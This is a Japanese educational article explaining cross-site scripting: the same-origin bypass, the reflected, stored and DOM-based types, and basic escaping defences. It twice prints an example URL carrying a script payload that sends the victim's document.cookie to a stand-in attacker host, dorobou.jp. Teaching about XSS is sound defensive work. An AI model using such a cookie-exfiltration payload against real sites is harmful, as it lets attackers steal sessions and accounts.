クロスサイトスクリプティング(以下、XSS)とは
クロスサイトスクリプティング(以下、XSS)とは、攻撃者が標的サイトにスクリプトを入れ込むことで、そのサイトを閲覧した人のブラウザでスクリプトを実行させることです。
XSSという名前ですが、もともとは複数サイトを横断して(クロスサイト)スクリプトを実行させるような攻撃を意味していました。しかし新しいタイプの攻撃が見つかるたびにXSSの定義は拡張され、クロスサイトでなくともXSSと呼ばれるようになりました。名が体を表さなくなっているため、しばしば初学者を混乱させているようです。
事例としては、YouTubeのコメント機能にスクリプトを入れ込まれ、他のユーザーがYouTubeにアクセスした時に、コメントが表示されなくなったり有名人のデマが表示されたりした事件がありました。
XSS脆弱性とは、このようにユーザーの入力に応じてHTMLを生成するようなサイトに、スクリプトを入れ込まれてしまうことです。その結果、サイトにアクセスした人のブラウザで悪意あるスクリプトが実行されてしまうことになります。
XSSの特徴は、標的サイトの権限でスクリプトが実行されること
ブラウザは、「同一生成元ポリシー」の考え方のもと作られているので、あるサイトから読み込まれたスクリプトが、他のサイトのデータにアクセスすることはできません。
例えば、私があなたのサイトを閲覧した時、そこに書かれていたスクリプトを私のブラウザが実行してしまっても、あなたのサイトのスクリプトは私のブラウザの銀行サイトのCookieやWeb Storageを取得することはできませんし、銀行サイトにリクエストさせることも銀行サイト側で許可されない限りはできません。
しかし、XSSはこの同一生成元ポリシーの制限を突破できてしまいます。
XSSでは、あなたはスクリプトを標的サイトに入れ込んでしまうので、私のブラウザはそのスクリプトの生成元を標的サイトであると判断してしまいます。私のブラウザはあなたのスクリプトに対し、銀行サイトのCookieを取得することも許してしまうわけです。
XSS攻撃の分類
定義が広がっているXSSですが、その攻撃は3つに分類できます。
反射型XSS - 標的サイトにスクリプトを入力させ、反射するようにそのまま返させる
攻撃者がユーザーに、標的サイトに不正な値を入力するように仕向けることで、標的サイトが返すレスポンスに悪意あるスクリプトが含まれるようにするものです。
例えば、sns.jp はURLに付けられたパラメータをHTMLに含めてブラウザに返すとします。
あなたは以下のURLを掲示板に貼るなりメールで送るなりして誰かに踏ませようとします。
https://sns.jp?q=<script>fetch(`https://dorobou.jp?q=${document.cookie}`)</script>
※実際には、上記はURLで使用できない文字を含んでいるためURLエンコードされます
私がこのURLを踏むと、sns.jpサーバでスクリプトを含んだHTMLが生成され、私のブラウザに返されます。
私のブラウザはこのスクリプトをsns.jpの権限で実行してしまい、私のブラウザに保存されているsns.jpのCookieがあなたのdorobou.jpサーバに送信されてしまいました。
格納型XSS - 標的サイトのDBにスクリプトを格納させる
格納型XSSとは、スクリプトを標的サイトのデータベースに格納させ、他のユーザーがそのサイトを閲覧した時に、スクリプトを読み込ませて実行させることです。
例えば、あなたがSNSのコメントにスクリプトを書き込んだとしましょう。SNSはそのスクリプトをコメントとしてDBに格納してしまいました。すると、あとで他のユーザーがコメントを閲覧した時にスクリプトが現れてしまい、結果、その人のブラウザでスクリプトが実行されてしまいます。
DOMベースXSS - 標的サイトのDOM操作を悪用する
上2つのパターンは、悪意あるスクリプトがサーバに送信され、サーバ側でそのスクリプトを含んだページを生成してしまうものでした。それに対してDOMベースXSSは、ユーザーのブラウザ上だけで完結します。
DOMベースXSSとは、攻撃者が標的サイトのDOM操作(ブラウザ上でJavaScriptがHTMLを操作すること)を利用して、ユーザーが不正な値を入力するよう仕向け、ユーザーのブラウザ上で悪意あるスクリプトを含んだHTMLを生成させるものです。
例えば、標的サイトshop.jpがブラウザに返すHTMLには、URLに付けられたパラメータをHTMLに反映するスクリプトが書かれているとします。
あなたは以下のURLを掲示板に貼るなりメールで送るなりして誰かに踏ませようとします。
https://shop.jp?q=<script>fetch(`https://dorobou.jp?q=${document.cookie}`)</script>
※実際には、上記はURLで使用できない文字を含んでいるためURLエンコードされます
私がこのURLを踏むと、shop.jpのDOM操作が私のブラウザで実行され、スクリプトになってしまっているURLパラメータをHTMLに反映します。
結果、私のブラウザに保存されているshop.jpのCookieが、あなたのdorobou.jpサーバに送信されてしまいました。
DOMベースXSSはユーザーのブラウザ上だけで完結し、悪意あるスクリプトがサーバへ送信されないため、サーバ側での対策(WAFを導入するなど)では防ぐことができません。
スクリプトがDOM操作する際に、意図しないスクリプトが埋め込まれないよう考慮して対策することが必要です。
対策の考え方
ユーザーが値を入力できる箇所(フォームなど)に、ユーザーが意図しないスクリプトを入力できないよう、入力チェックをしたり、<script>などの特殊な文字列を無害な文字列に変換(エスケープ処理)したりすることが必要です。
ただし、URLパラメーターなど、入力チェックではスクリプトの入れ込みをはじけない箇所もあるので、サイトがHTMLを生成する段階でも、スクリプトを含めてしまわないような対策が求められます。
参考
クロスサイトスクリプティング - Wikipedia
IPAテクニカルウォッチ「DOM Based XSS」に関するレポート